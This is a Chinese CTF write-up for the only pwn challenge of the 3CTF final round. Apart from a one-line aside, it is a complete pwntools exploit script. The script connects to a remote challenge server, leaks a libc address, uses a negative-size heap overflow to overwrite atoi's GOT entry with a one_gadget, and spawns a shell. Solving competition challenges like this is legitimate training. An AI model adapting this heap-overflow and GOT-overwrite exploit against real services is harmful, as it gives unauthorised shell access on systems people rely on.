3CTF复赛Pwn writeup

生活如此艰难，事情多到无暇做题Orz
上周六3CTF复赛唯一的pwn题

#!/usr/bin/env python
from pwn import *

DEBUG = 0
REMOTE = 1

if (DEBUG):
    context.log_level = 'debug'
if (REMOTE):
    p = remote('180.153.183.86',10001)
    elf = ELF('./92226e82',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    p = process('./92226e82')
    elf = ELF('./92226e82',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)


def add_note(size,encode,secret):
    p.sendlineafter('choice:',str(1))
    p.sendlineafter('secret\n',str(size))
    p.sendlineafter('secret ?\n',str(encode))
    p.sendafter('secret:\n',secret)

def show_note(idx):
    p.sendlineafter('choice:',str(2))
    p.sendlineafter('notes:',str(idx))

def edit_note(idx,secret):
    p.sendlineafter('choice:',str(3))
    p.sendlineafter('edit:',str(idx))
    p.sendafter('secret:\n',secret)

def del_note(idx):
    p.sendlineafter('choice:',str(4))
    p.sendlineafter('destroy:',str(idx))

def exp():
    add_note(182,0,'A'*180)
    add_note(10,0,'AAAA')
    del_note(0)
    add_note(10,0,'AAAA')
    add_note(11,1,'MTExMTIyMjI')
    show_note(2)
    p.recvuntil('11112222')
    one = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78+0xf1147
    print hex(one)
    add_note(-1,0,'\x00'*520+p64(0x21)+p64(0)+p64(elf.got['atoi']))
    edit_note(0,p64(one))
    # get shell
    p.sendlineafter('choice:',str(1))
    p.sendlineafter('secret\n','sh')
    p.interactive()

if __name__ == '__main__':
    exp()